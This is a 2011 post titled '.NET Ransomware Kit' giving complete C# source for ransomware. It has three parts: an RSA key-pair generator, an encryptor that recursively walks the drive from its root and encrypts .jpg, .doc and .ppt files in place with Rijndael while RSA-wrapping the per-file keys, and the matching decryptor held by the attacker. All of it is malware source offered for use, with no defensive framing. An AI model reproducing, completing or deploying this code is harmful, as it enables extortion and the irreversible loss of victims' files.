return To index | download demo package!


.NET Ransomware Kit
-------------------
alcopaul/brigada ocho
june 11, 2011

==================================
RSA Private key/Public key Creator
==================================
using System;
using System.Windows.Forms;
using System.Security.Cryptography;

private void button1_Click(object sender, EventArgs e)
        {
            CspParameters cspParams = new CspParameters();
            cspParams.ProviderType = 1;
            cspParams.Flags = CspProviderFlags.UseArchivableKey;
            cspParams.KeyNumber = (int)KeyNumber.Exchange;
            RSACryptoServiceProvider rsaProvider = new RSACryptoServiceProvider(Convert.ToInt32(comboBox1.SelectedItem), cspParams);

            textBox1.Text = rsaProvider.ToXmlString(true);
            textBox2.Text = rsaProvider.ToXmlString(false);

        }

//textBox1.Text contains the generated private key
//textBox2.Text contains the generated public key
//comboBox1.Items = {"1024","2048","3072"};

=========================================================================================================
Encryptor = searches for certain filetypes in the hard disk, encrypts them using Rijndael with random key
and encrypts the random key using a public key.. (jjj = public key)
=========================================================================================================

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Collections;
using System.Diagnostics;

namespace ConsoleApplication9
{
    public class RandomUtil
    {
        public static string GetRandomString()
        {
            string path = Path.GetRandomFileName();
            path = path.Replace(".", ""); // Remove period.
            return path;
        }
        static byte[] EncryptKey(string publicKeyText, byte[] key)
        {
            CspParameters cspParams = new CspParameters();
            cspParams.ProviderType = 1;
            RSACryptoServiceProvider rsaProvider = new RSACryptoServiceProvider(cspParams);
            // Import public key
            rsaProvider.FromXmlString(publicKeyText);
            byte[] encryptedBytes = rsaProvider.Encrypt(key, false);
            // Write encrypted text to file
            return encryptedBytes;

        } // Encrypt
        public void EncryptFile(string file)
        {
            ASCIIEncoding askii = new ASCIIEncoding();
            Random j = new Random((int)DateTime.Now.Ticks);
            int h = j.Next(0, 7);
            string p = GetRandomString() + GetRandomString().Substring(h, 5);
            byte[] key = askii.GetBytes(p);
            string newfile = file + ".krypt";


            MemoryStream fsm = new MemoryStream();
            RijndaelManaged cr = new RijndaelManaged();
            CryptoStream cs = new CryptoStream(fsm, cr.CreateEncryptor(key, key), CryptoStreamMode.Write);
            FileStream fsIn = new FileStream(file, FileMode.Open);
            int data;
            while ((data = fsIn.ReadByte()) != -1)
            {
                cs.WriteByte((byte)data);
            }
            cs.FlushFinalBlock();
            fsIn.Close();
            FileStream outStream = File.OpenWrite(file);
            fsm.WriteTo(outStream);
            outStream.Flush();
            outStream.Close();
            fsm.Close();
            cs.Close();
            File.Move(file, newfile);

            string jjj = "[PUBLIC KEY HERE]";
            using (Stream fileStream = new FileStream(file + ".key", FileMode.Create, FileAccess.Write, FileShare.None))
            {
                using (BinaryWriter bw = new BinaryWriter(fileStream))
                {
                    bw.Write(EncryptKey(jjj, key));
                }
            }
        }

    }
    class Program
    {
        static void Main(string[] args)
        {
            string xselfy = Process.GetCurrentProcess().MainModule.FileName;
            string xyxx = Path.GetDirectoryName(xselfy);
            string glen = Directory.GetDirectoryRoot(xyxx);
            DirectoryInfo dirx = new DirectoryInfo(@glen);
            // Test the random string method.
            RandomUtil hfff = new RandomUtil();
            AndLetsRock(dirx,hfff);
        }
        private static void AndLetsRock(DirectoryInfo dir, RandomUtil xg)
        {
            string lookfor = "*.jpg>*.doc>*.ppt";
            string[] extensions = lookfor.Split(new char[] { '>' });

            ArrayList myfileinfos = new ArrayList();

            foreach (string ext in extensions)
            {
                myfileinfos.AddRange(dir.GetFiles(ext));
            }

            FileInfo[] xfinal = (FileInfo[])myfileinfos.ToArray(typeof(FileInfo));


            foreach (FileInfo g in xfinal)
            {
                try
                {
                    //error encrypting file
                    xg.EncryptFile(g.FullName);
                }
                catch
                {
                    continue;
                }
            }
            DirectoryInfo[] dirs = dir.GetDirectories("*.*");
            foreach (DirectoryInfo xdir in dirs)
            {
                try
                {
                    AndLetsRock(xdir,xg);
                }
                catch
                {
                    continue;
                }
            }
        }
    }
}

============================================================================================================
Decryptor = decrypts "*.key" files using the private key. Decrypted values will be used to decrypt "*.krypt" 
files in the hard disk which will give us the original files... (ggg = private key)
============================================================================================================

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Collections;
using System.Diagnostics;

public class RandomUtil
{
    static byte[] DecryptKey(string privateKeyText, byte[] key)
    {
        // Select target CSP
        CspParameters cspParams = new CspParameters();
        cspParams.ProviderType = 1; // PROV_RSA_FULL 
        //cspParams.ProviderName; // CSP name
        RSACryptoServiceProvider rsaProvider = new RSACryptoServiceProvider(cspParams);

        // Import public key
        rsaProvider.FromXmlString(privateKeyText);


        byte[] encryptedBytes = rsaProvider.Decrypt(key, false);

        return encryptedBytes;

    }


    public void DecryptFile(string encfile, string keyfile)
    {
        byte[] keyx = File.ReadAllBytes(keyfile);
        string ggg = "[PRIVATE KEY HERE]";
        byte[] key = DecryptKey(ggg, keyx);
        string newfile = encfile.Substring(0, (encfile.Length - 6));


        FileStream fsc = new FileStream(newfile, FileMode.Create);
        RijndaelManaged cr = new RijndaelManaged();
        CryptoStream cs = new CryptoStream(fsc, cr.CreateDecryptor(key, key), CryptoStreamMode.Write);
        FileStream fsIn = new FileStream(encfile, FileMode.Open);

        int data;
        while ((data = fsIn.ReadByte()) != -1)
        {
            cs.WriteByte((byte)data);
        }
        fsIn.Close();
        cs.Close();
        fsc.Close();


        File.Delete(encfile);
        File.Delete(keyfile);
    }
}



class Program
{
    static void Main()
    {
        string xselfy = Process.GetCurrentProcess().MainModule.FileName;
        string xyxx = Path.GetDirectoryName(xselfy);
        string glen = Directory.GetDirectoryRoot(xyxx);
        DirectoryInfo dirx = new DirectoryInfo(@glen);
        RandomUtil hfff = new RandomUtil();
        AndLetsRock(dirx, hfff);
    }
    private static void AndLetsRock(DirectoryInfo dir, RandomUtil xg)
    {
        FileInfo[] xfinal = dir.GetFiles("*.krypt");

        foreach (FileInfo g in xfinal)
        {
            try
            {
                string j = g.FullName;
                xg.DecryptFile(j, j.Substring(0, (j.Length - 5)) + "key");
            }
            catch
            {
                continue;
            }
        }
        DirectoryInfo[] dirs = dir.GetDirectories("*.*");
        foreach (DirectoryInfo xdir in dirs)
        {
            try
            {
                AndLetsRock(xdir, xg);
            }
            catch
            {
                continue;
            }
        }
    }
}